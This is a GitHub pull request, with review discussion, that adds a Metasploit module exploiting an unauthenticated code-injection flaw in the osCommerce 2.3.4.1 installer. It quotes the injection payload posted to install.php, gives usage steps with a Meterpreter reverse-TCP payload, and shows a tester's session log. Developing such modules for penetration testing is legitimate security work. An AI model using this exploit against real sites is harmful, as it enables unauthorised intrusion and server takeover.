New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

osCommerce 2.3.4.1 - Remote Code Execution #9821

Merged
merged 14 commits into from May 2, 2018

Conversation

Projects
None yet
6 participants
@DanielRTeixeira
Copy link
Contributor

DanielRTeixeira commented Apr 5, 2018

This PR adds a module to exploit a remote code execution vulnerability in osCommerce version 2.3.4.1

Verification

  • Download and install osCommerce 2.3.4.1
  • Start msfconsole
  • use exploit/multi/http/oscommerce
  • set RHOST IP
  • set PAYLOAD php/meterpreter/reverse_tcp
  • set LHOST IP
  • Verify a new Meterpreter session is started

DanielRTeixeira added some commits Apr 5, 2018

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Apr 6, 2018

It's phpMyAdmin all over again! 🔥

[
OptString.new('INSTALLURL', [true, 'The path to the install file', '/catalog/install/install.php?step=4']),
OptString.new('TARGETURI', [true, 'The path to the configure.php file', '/catalog/install/includes/configure.php'])
], self.class)

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

The self.class is no longer required.

'DefaultTarget' => 0))
register_options(
[
OptString.new('INSTALLURL', [true, 'The path to the install file', '/catalog/install/install.php?step=4']),

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

The user probably shouldn't have to specify the query string ?step=4.

This can be hard coded later in the module.

##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

Is there a reason it's not ExcellentRanking ?

As per https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking :

ExcellentRanking - The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances (WMF Escape()).

end

def trigger
res = send_request_cgi({

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

No need for res = here.

end

def exploit
uri = target_uri.path

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

uri is never used...

register_options(
[
OptString.new('INSTALLURL', [true, 'The path to the install file', '/catalog/install/install.php?step=4']),
OptString.new('TARGETURI', [true, 'The path to the configure.php file', '/catalog/install/includes/configure.php'])

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

Is the configure.php file ever not in INSTALLDIR/includes ? Presumably we're talking about a vulnerability which can only be exploited in the default configuration, which would imply that includes will never change.

It might make more sense to do something like this:

     register_options [
      OptString.new('TARGETURI', [true, 'The path to the install directory', '/catalog/install/'])
     ]

Then append install.php?step=4 and includes/configure.php later in the module.

This comment has been minimized.

@DanielRTeixeira

DanielRTeixeira Apr 6, 2018

Contributor

I think I have address all the issues, please let me know if I have missed anything. Thank you.

@bcoles bcoles added module docs labels Apr 6, 2018

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Apr 6, 2018

Please add a check method.

Simply checking for the presence of install.php as 200 OK may be sufficient for CheckCode::Appears.


def initialize(info = {})
super(update_info(info,
'Name' => 'osCommerce 2.3.4.1 - Remote Code Execution',

This comment has been minimized.

@touhidshaikh

touhidshaikh Apr 6, 2018

Contributor

Generally module names do not contain the software version.
Suggest:
osCommerce Unauthenticated Remote Code Execution

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

The module name usually also describes the vulnerable functionality, such as the name of the vulnerable component, filename, or parameter. This helps avoid confusion in the event that more than one exploit is present.

The module is located in exploits/multi/http/, so Remote is implied.

Consider:

  • osCommerce install.php Unauthenticated Code Execution
  • osCommerce Installer Unauthenticated Code Execution

This comment has been minimized.

@DanielRTeixeira

DanielRTeixeira Apr 6, 2018

Contributor

Done, thank you for the feedback.

DanielRTeixeira added some commits Apr 6, 2018

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Apr 6, 2018

New changes look good.

The filename should be all lower case, and should match the module name, for both the module and the documentation file.

Consider: oscommerce_installer_unauth_code_exec

})

if res and res.code == 200
return Exploit::CheckCode::Vulnerable

This comment has been minimized.

@touhidshaikh

touhidshaikh Apr 6, 2018

Contributor

i thinks u should use Exploit::CheckCode::Appears instead of Exploit::CheckCode::Vulnerable , bcz u r not sure the target application is osCommerce 2.3.4.1 . bcz install.php is common in all osCommerce before this and some other applications.

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

Correct

This comment has been minimized.

@DanielRTeixeira
'method' => 'GET'
})

if res and res.code == 200

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

It might be nice to offer some feedback as to whether the host is accessible.

A common code pattern is:

unless res
  vprint_error 'Connection failed'
  return CheckCode::Unknown
end

if res.code == 200
  return CheckCode::Vulnerable
end
})

if res and res.code == 200
return Exploit::CheckCode::Vulnerable

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

Exploit is redundant in exploit context. You can simply use return CheckCode::Vulnerable

return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

Exploit is redundant in exploit context, and return is redundant at the end of a method.

You can simply use CheckCode::Safe

'method' => 'POST',
'data' => data
})
trigger

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

Mismatched indentation

def exploit
data = "DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');"
data << payload.encoded
data << "/*"

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

These look like standard POST params.

You might be able to do the following, which is preferred, if possible:

    data = {
      'DIR_FS_DOCUMENT_ROOT' => './',
      'DB_DATABASE' => "');#{payload.encoded}/*"
    }

    res = send_request_cgi({
      'uri'       => normalize_uri(datastore['URI'], 'install.php?step=4'),
      'method'    => 'POST',
      'vars_post' => data
    })
})
end

def exploit

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

Now that the module has a check method, you could do something like this, if you want:

def exploit
  unless check == CheckCode::Vulnerable
    fail_with Failure::NotVulnerable, 'Target is not vulnerable'
  end

  # ...

DanielRTeixeira added some commits Apr 6, 2018

@DanielRTeixeira

This comment has been minimized.

Copy link
Contributor

DanielRTeixeira commented Apr 6, 2018

I think all the suggestions are addressed, please let me know if there is anything else I should do. Thanks.

@touhidshaikh

This comment has been minimized.

Copy link
Contributor

touhidshaikh commented Apr 6, 2018

now, Its look cool & awesome ... nice work @DanielRTeixeira .

'method' => 'POST',
'vars_post' => data
})
trigger

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

Inconsistent indentation

This comment has been minimized.

@touhidshaikh

touhidshaikh Apr 6, 2018

Contributor

i m damm sure @bcoles have Hawk eyes ... small details like Inconsistent indentation also seen.

'method' => 'GET'
})

if res and res.code == 200 and res.body.include?('Welcome to osCommerce Online Merchant v2.3.4!')

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

&& is preferred over and

Is only version 2.3.4 vulnerable?

Also, @touhidshaikh is correct that CheckCode::Appears or CheckCode::Detected is more appropriate than CheckCode::Vulnerable, as you're not actually verifying the vulnerability, only inferring the vulnerability from the version.

Also, is there any particular reason you chose version fingerprinting over checking for the present of the isntaller filer?

This comment has been minimized.

@DanielRTeixeira

DanielRTeixeira Apr 6, 2018

Contributor

Now it will check if the site is running osCommerce and the presence of the install.php file. @bcoles @touhidshaikh

res = send_request_cgi({
'uri' => normalize_uri(datastore['URI'], 'install.php?step=4'),
'method' => 'POST',
'vars_post' => data

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

Have you confirmed the module still works after changing this to vars_post ?

This comment has been minimized.

@DanielRTeixeira

DanielRTeixeira Apr 6, 2018

Contributor

Sure it is working.

[
[ 'osCommerce 2.3.4.1', { } ],
],
'DisclosureDate' => 'Apr 30 2018',

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

April 30th 2018 is 24 days in the future.

## Verification Steps

1. Download and install [osCommerce 2.3.4.1](https://www.exploit-db.com/apps/ce2796b352d6e0fb4e9f03866ae98541-oscommerce-2.3.4.zip)
2. `use exploit/multi/http/oscommerce`

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

use oscommerce_installer_unauth_code_exec

'DisclosureDate' => 'Apr 30 2018',
'DefaultTarget' => 0))
register_options(
[

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

Inconsistent indentation

DanielRTeixeira added some commits Apr 6, 2018

@DanielRTeixeira
Copy link
Contributor

DanielRTeixeira left a comment

Fixed the indentation issues. Thanks for the heads up.

res = send_request_cgi({
'uri' => normalize_uri(datastore['URI'], 'install.php?step=4'),
'method' => 'POST',
'vars_post' => data

This comment has been minimized.

@DanielRTeixeira

DanielRTeixeira Apr 6, 2018

Contributor

Sure it is working.

'method' => 'GET'
})

if ins && ins.code == 200 && res && res.code == 200 && res.body.include?('Welcome to osCommerce Online Merchant')

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

No point sending two requests if the first fails.

Also, it will take longer.

Also, it would be nice to inform the user if the connection fails.

Also, as the module does not verify exploitable, CheckCode::Appears is more appropriate.

Suggest:

  def check
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['URI'], 'index.php'),
      'method' => 'GET'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200 && res.body.include?('Welcome to osCommerce Online Merchant')
      return CheckCode::Safe
    end

    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['URI'], 'install.php'),
      'method' => 'GET'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200
      vprint_error 'install.php is not present'
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

You'll also need to change unless check == CheckCode::Vulnerable to unless check == CheckCode::Appears in the exploit method below.

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

Also, are there any strings in install.php file res.body which can be used to confirm the presence of the install.php file, beyond relying on the 200 status code?

This comment has been minimized.

@DanielRTeixeira

DanielRTeixeira Apr 6, 2018

Contributor

Since it is not checking the osCommerce version it can simply check the presence of the install.php file and verify it is running osCommerce.

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

Is the presence of install.php sufficient to infer exploitbility?

There aren't [m]any details about the vulnerability.

Do you know if the install.php file is always left behind after install, possibly advising the user to remove it, and it just so happens that in some versions it's still executable? Or does osCommerce usually clean up after itself, and in some versions it leaves the install.php behind?

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

Either way, latest changes look good to me.

This comment has been minimized.

@DanielRTeixeira

DanielRTeixeira Apr 6, 2018

Contributor

Done, great advice @bcoles thanks.

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

Your update looks good, but it will only work on some systems.

if res.body.include? '/var/www/oscommerce/catalog2/includes/configure.php'

Not everyone installs to /var/www

For example, /var/www/html is the default on many systems now.

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

It would be better to match some default text from the warning/error message, and combine it with includes/configure.php (which shouldn't change), like:

if res.body.include?('includes/configure.php') && res.body.include?('this is a warning that install is totally not goinna work')
  # ...
end

This comment has been minimized.

@DanielRTeixeira

DanielRTeixeira Apr 6, 2018

Contributor

My bad, I didn't realize that I had included the full patch. I have fixed it now, again great work, thanks for the help.

This comment has been minimized.

@bcoles

bcoles Apr 6, 2018

Contributor

No worries. Changes look good to me. Module looks good to me.

DanielRTeixeira added some commits Apr 6, 2018

@jrobles-r7

This comment has been minimized.

Copy link
Contributor

jrobles-r7 commented May 2, 2018

Tested on Windows 7 x64


[*] Started reverse TCP handler on 172.22.222.139:4444 
[*] Sending stage (37775 bytes) to 172.22.222.122
[*] Meterpreter session 1 opened (172.22.222.139:4444 -> 172.22.222.122:49471) at 2018-05-02 07:31:17 -0500

meterpreter > sysinfo
Computer    : ...
OS          : Windows NT ... 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) AMD64
Meterpreter : php/windows
meterpreter > 

@jrobles-r7 jrobles-r7 merged commit 37c578e into rapid7:master May 2, 2018

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully ran sanity checks.
Details
Metasploit Automation - Test Execution Successfully ran `autoPayloadTest.py`.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

jrobles-r7 added a commit that referenced this pull request May 2, 2018

@jrobles-r7

This comment has been minimized.

Copy link
Contributor

jrobles-r7 commented May 2, 2018

Release Notes

The osCommerce Installer Unauthenticated Code Execution exploit has been added to the framework. It can exploit an unauthenticated remote code execution for osCommerce 2.3.4.1 installations that expose the /catalog/install/ directory.

msjenkins-r7 added a commit that referenced this pull request May 3, 2018

@jrobles-r7 jrobles-r7 self-assigned this May 4, 2018

@tdoan-r7 tdoan-r7 added the rn-exploit label May 16, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment